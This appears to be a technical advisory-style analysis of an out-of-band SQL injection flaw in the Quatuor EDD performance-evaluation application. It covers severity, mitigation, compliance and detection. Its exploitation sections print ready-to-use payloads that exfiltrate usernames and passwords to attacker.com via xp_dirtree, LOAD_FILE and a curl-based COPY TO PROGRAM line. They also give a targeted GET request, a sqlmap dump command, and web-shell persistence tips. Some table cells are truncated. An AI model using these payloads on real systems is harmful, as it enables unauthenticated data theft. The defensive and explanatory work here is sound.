Comprehensive Technical Analysis of EUVD-2026-4746 (CVE-2026-1474)

Out-of-Band SQL Injection (OOB SQLi) in Quatuor Performance Evaluation (EDD) Application

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-4746 (CVE-2026-1474) describes an Out-of-Band SQL Injection (OOB SQLi) vulnerability in the Evaluación de Desempeño (EDD) application, developed by Gabinete Técnico de Programación (Quatuor). The flaw resides in the Id_usuario and Id_evaluacion parameters of the /evaluacion_inicio.aspx endpoint, allowing attackers to exfiltrate sensitive database information via external network channels rather than direct application responses.

CVSS v4.0 Severity Analysis

The vulnerability has been assigned a Base Score of 9.3 (Critical) with the following vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

• Attack Vector (AV:N): Exploitable remotely over a network.
• Attack Complexity (AC:L): Low complexity; no specialized conditions required.
• Attack Requirements (AT:N): No additional prerequisites (e.g., user interaction).
• Privileges Required (PR:N): No authentication required.
• User Interaction (UI:N): No user interaction needed.
• Confidentiality Impact (VC:H): High impact; sensitive data can be extracted.
• Integrity Impact (VI:H): High impact; potential for data manipulation.
• Availability Impact (VA:L): Low impact; limited disruption to system availability.
• Subsequent Confidentiality (SC:N): No further confidentiality impact beyond initial exploit.
• Subsequent Integrity (SI:N): No further integrity impact beyond initial exploit.
• Subsequent Availability (SA:N): No further availability impact beyond initial exploit.

Key Takeaways:

• Critical severity due to unauthenticated remote exploitation with high confidentiality and integrity impact.
• OOB SQLi is particularly dangerous because it bypasses traditional detection mechanisms (e.g., WAFs, logging) by using DNS, HTTP, or other out-of-band channels for data exfiltration.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanics

OOB SQLi leverages database functions that initiate external network requests to exfiltrate data. Common techniques include:

A. DNS Exfiltration (Most Common)

• Payload Example (Microsoft SQL Server):

  DECLARE @p varchar(1024);
  SELECT @p = (SELECT TOP 1 username FROM users);
  EXEC('master..xp_dirtree "\\' + @p + '.attacker.com\foo"');
  

  • The database attempts to resolve a domain controlled by the attacker (attacker.com), embedding stolen data in the subdomain.
  • Tools: sqlmap (with --dns-domain), DNSExfiltrator, custom scripts.

B. HTTP Exfiltration

• Payload Example (MySQL):

  SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share\\file.txt'));
  

  • Forces the database to make an SMB/HTTP request to an attacker-controlled server.
  • Tools: Burp Collaborator, Responder, custom web servers.

C. SMTP Exfiltration (Less Common)

• Payload Example (PostgreSQL):

  COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat - | base64)';
  

  • Uses database functions to send data via email or HTTP POST.

Attack Workflow

1. Reconnaissance:

   • Identify vulnerable parameters (Id_usuario, Id_evaluacion) via fuzzing or source code analysis.
   • Determine the database backend (e.g., Microsoft SQL Server, MySQL, PostgreSQL) using error-based or time-based probes.

2. Exploitation:

   • Craft an OOB SQLi payload to extract data via DNS, HTTP, or SMB.
   • Example (DNS-based exfiltration):

     GET /evaluacion_inicio.aspx?Id_usuario=1'; EXEC('master..xp_dirtree "\\' + (SELECT TOP 1 username FROM users) + '.attacker.com\foo"');-- HTTP/1.1
     

   • The database resolves admin.attacker.com, leaking the first username.

3. Data Exfiltration:

   • Attacker monitors DNS logs, HTTP requests, or SMB connections for stolen data.
   • Automated tools (e.g., sqlmap --technique=O --dns-domain=attacker.com) can accelerate exploitation.

4. Post-Exploitation:

   • Lateral movement (if database credentials are obtained).
   • Data manipulation (if write access is possible).
   • Persistence (e.g., backdoor creation via xp_cmdshell).

Detection Challenges

• No direct application response makes OOB SQLi harder to detect via WAFs or SIEMs.
• Low network visibility if DNS exfiltration is used (many organizations do not log DNS queries).
• False negatives in traditional SQLi scanners that rely on in-band responses.

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3. Affected Systems and Software Versions

Impacted Product

• Application: Evaluación de Desempeño (EDD)
• Vendor: Gabinete Técnico de Programación (Quatuor)
• Affected Versions: All versions (as per ENISA ID c40f36ba-8e43-3336-a6e3-d50109e63b07)
• Vulnerable Endpoint: /evaluacion_inicio.aspx
• Vulnerable Parameters: Id_usuario, Id_evaluacion

Database Backend Assumptions

• Likely Microsoft SQL Server (common in enterprise .NET applications).
• Possible MySQL or PostgreSQL if the application uses a different stack.

Deployment Context

• Target Organizations:
  • Public sector (government performance evaluation systems).
  • Private enterprises using Quatuor’s EDD for HR assessments.
• Geographical Scope:
  • Primarily Spanish-speaking regions (Spain, Latin America).
  • May affect EU-based organizations using localized HR software.

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4. Recommended Mitigation Strategies

Immediate Remediation (Short-Term)

1. Input Validation & Parameterized Queries

   • Replace dynamic SQL with prepared statements (e.g., SqlCommand in .NET with parameters).
   • Example (C#):

     // UNSAFE: Dynamic SQL
     string query = "SELECT * FROM evaluaciones WHERE Id_usuario = " + Id_usuario;
     
     // SAFE: Parameterized query
     SqlCommand cmd = new SqlCommand("SELECT * FROM evaluaciones WHERE Id_usuario = @Id_usuario", connection);
     cmd.Parameters.AddWithValue("@Id_usuario", Id_usuario);
     

2. Disable Dangerous Database Functions

   • Microsoft SQL Server:

     -- Disable xp_cmdshell, xp_dirtree, OPENROWSET, etc.
     EXEC sp_configure 'show advanced options', 1;
     RECONFIGURE;
     EXEC sp_configure 'xp_cmdshell', 0;
     RECONFIGURE;
     

   • MySQL/PostgreSQL:
     • Restrict LOAD_FILE(), INTO OUTFILE, and COPY commands.

3. Network-Level Protections

   • Block outbound DNS/HTTP/SMB from database servers to untrusted domains.
   • Implement DNS sinkholing to detect exfiltration attempts.
   • Deploy a WAF (e.g., ModSecurity, Cloudflare) with OOB SQLi detection rules.

4. Temporary Workarounds

   • Disable the /evaluacion_inicio.aspx endpoint if not critical.
   • Restrict access via IP whitelisting or VPN requirements.

Long-Term Mitigations

1. Code Review & Secure Development

   • Conduct a full security audit of the EDD application.
   • Adopt OWASP Top 10 guidelines (e.g., A1: Injection).
   • Use ORM frameworks (e.g., Entity Framework, Hibernate) to prevent SQLi.

2. Database Hardening

   • Principle of Least Privilege (PoLP): Ensure the application DB user has read-only access where possible.
   • Enable database logging for suspicious queries (e.g., xp_dirtree calls).

3. Monitoring & Detection

   • Deploy SIEM solutions (e.g., Splunk, ELK) to detect anomalous DNS/HTTP requests from database servers.
   • Use IDS/IPS (e.g., Snort, Suricata) with OOB SQLi signatures.
   • Enable database auditing (e.g., SQL Server Audit, MySQL Enterprise Audit).

4. Patch Management

   • Apply vendor patches as soon as they are released (monitor INCIBE and Quatuor advisories).
   • Upgrade to the latest version of EDD if a fix is available.

5. Third-Party Security Testing

   • Engage penetration testers to validate remediation.
   • Perform red team exercises to test OOB SQLi resilience.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):

  • Article 32 (Security of Processing): Organizations must implement appropriate technical measures to prevent unauthorized data access.
  • Article 33 (Data Breach Notification): If exploited, affected organizations must report breaches to supervisory authorities (e.g., AEPD in Spain) within 72 hours.
  • Potential fines of up to €20 million or 4% of global revenue if negligence is proven.

• NIS2 Directive (Network and Information Security):

  • Critical infrastructure providers (e.g., government HR systems) must report significant incidents to CSIRTs (e.g., INCIBE-CERT).
  • Mandates vulnerability management for essential services.

• ENISA Guidelines:

  • ENISA’s "Good Practices for Security of Web Applications" explicitly recommend input validation and parameterized queries to prevent SQLi.

Threat Actor Motivations

• Cybercriminals:
  • Data theft (e.g., employee records, performance evaluations) for identity theft or extortion.
  • Ransomware deployment if database access leads to broader system compromise.
• State-Sponsored Actors:
  • Espionage (e.g., targeting government HR systems for intelligence gathering).
  • Disruption of public services (e.g., sabotaging performance evaluation systems).
• Hacktivists:
  • Defacement or data leaks to expose perceived government inefficiencies.

Broader Cybersecurity Risks

• Supply Chain Attacks:
  • If Quatuor’s EDD is used by multiple government agencies, a single exploit could lead to widespread breaches.
• Zero-Day Exploitation:
  • Since all versions are affected, unpatched systems remain vulnerable until remediated.
• Lateral Movement:
  • Successful OOB SQLi could lead to database server compromise, enabling further attacks (e.g., ransomware, credential theft).

European Response & Coordination

• INCIBE (Spanish National Cybersecurity Institute):
  • Issued the advisory and assigned CVE-2026-1474.
  • Likely coordinating with ENISA for pan-European awareness.
• CERT-EU:
  • May issue cross-border alerts if critical infrastructure is at risk.
• National CSIRTs:
  • Germany (BSI), France (ANSSI), Italy (CSIRT Italia) may issue localized advisories.

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6. Technical Details for Security Professionals

Exploitation Proof of Concept (PoC)

Step 1: Identify Vulnerable Parameters

• Manual Testing:

  GET /evaluacion_inicio.aspx?Id_usuario=1' HTTP/1.1
  Host: vulnerable-target.com
  

  • If the application does not return an error, it may be blind SQLi (including OOB).

Step 2: Test for OOB SQLi (DNS Exfiltration)

• Payload (Microsoft SQL Server):

  GET /evaluacion_inicio.aspx?Id_usuario=1'; EXEC('master..xp_dirtree "\\' + (SELECT TOP 1 username FROM users) + '.attacker.com\foo"');-- HTTP/1.1
  

• Expected Behavior:
  • The database attempts to resolve admin.attacker.com (if the first username is admin).
  • Attacker monitors DNS logs for exfiltrated data.

Step 3: Automated Exploitation with sqlmap

sqlmap -u "https://vulnerable-target.com/evaluacion_inicio.aspx?Id_usuario=1" \
       --technique=O --dns-domain=attacker.com --batch --dump

• Flags:
  • --technique=O: Forces OOB SQLi testing.
  • --dns-domain=attacker.com: Uses DNS exfiltration.
  • --dump: Extracts database contents.

Database-Specific OOB Techniques

Database	OOB Method	Example Payload
Microsoft SQL	xp_dirtree, xp_fileexist	EXEC('master..xp_dirtree "\\' + (SELECT password FROM users) + '.attacker.com\foo"')
MySQL	LOAD_FILE(), INTO OUTFILE	SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share\\file.txt'))
PostgreSQL	COPY ... TO PROGRAM	`COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.com/exfil?data=$(cat -
Oracle	UTL_HTTP, UTL_INADDR	`UTL_HTTP.REQUEST('http://attacker.com/'

Detection & Forensics

Network-Level Indicators

• DNS Queries:
  • Unusual subdomains (e.g., admin.attacker.com, password123.attacker.com).
  • High-frequency DNS requests from database servers.
• HTTP/SMB Requests:
  • Unexpected outbound connections to attacker-controlled IPs.
  • SMB traffic to external IPs (indicative of xp_dirtree exploitation).

Database-Level Indicators

• SQL Server:
  • Event ID 18456 (Login Failed) if brute-forcing credentials.
  • Audit logs showing xp_dirtree or xp_cmdshell executions.
• MySQL/PostgreSQL:
  • General query logs showing LOAD_FILE or COPY commands.

SIEM Correlation Rules

• Splunk Example:

  index=network sourcetype=dns
  | search query="*.attacker.com"
  | stats count by src_ip, query
  | where count > 5
  

• Elasticsearch Example:

  {
    "query": {
      "bool": {
        "must": [
          { "match": { "event.dataset": "dns" } },
          { "wildcard": { "dns.question.name": "*.attacker.com" } }
        ]
      }
    }
  }
  

Reverse Engineering the Vulnerable Application

1. Decompile the ASPX Binary:
   • Use dnSpy or ILSpy to analyze /evaluacion_inicio.aspx.
   • Look for dynamic SQL construction (e.g., string concatenation).
2. Database Schema Analysis:
   • If possible, dump the schema to identify sensitive tables (e.g., users, evaluaciones).
3. Exploit Chaining:
   • If file write access is obtained (e.g., via INTO OUTFILE), upload a web shell for persistence.

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Conclusion & Recommendations

Key Takeaways

• EUVD-2026-4746 (CVE-2026-1474) is a critical OOB SQLi vulnerability in Quatuor’s EDD application, enabling unauthenticated remote data exfiltration.
• Exploitation is stealthy due to out-of-band data exfiltration, bypassing traditional detection mechanisms.
• All versions are affected, requiring immediate patching or mitigation.
• GDPR and NIS2 compliance risks are significant if exploited.

Action Plan for Security Teams

Priority	Action	Responsible Party
Critical	Apply vendor patches (if available)	IT Operations
Critical	Implement parameterized queries in /evaluacion_inicio.aspx	Development Team
High	Disable dangerous database functions (xp_dirtree, LOAD_FILE)	Database Admins
High	Deploy WAF with OOB SQLi rules	Security Operations
Medium	Block outbound DNS/HTTP/SMB from database servers	Network Team
Medium	Conduct a full security audit of the EDD application	Security Team
Low	Monitor for exploitation attempts via SIEM	SOC

Final Recommendations

1. Assume breach if the application is exposed to the internet.
2. Isolate vulnerable systems until remediated.
3. Engage INCIBE or a third-party security firm for incident response if exploitation is suspected.
4. Educate developers on secure coding practices to prevent future SQLi vulnerabilities.

References:

• INCIBE Advisory
• CVSS v4.0 Specification
• OWASP SQL Injection Prevention Cheat Sheet
• ENISA Web Application Security Guidelines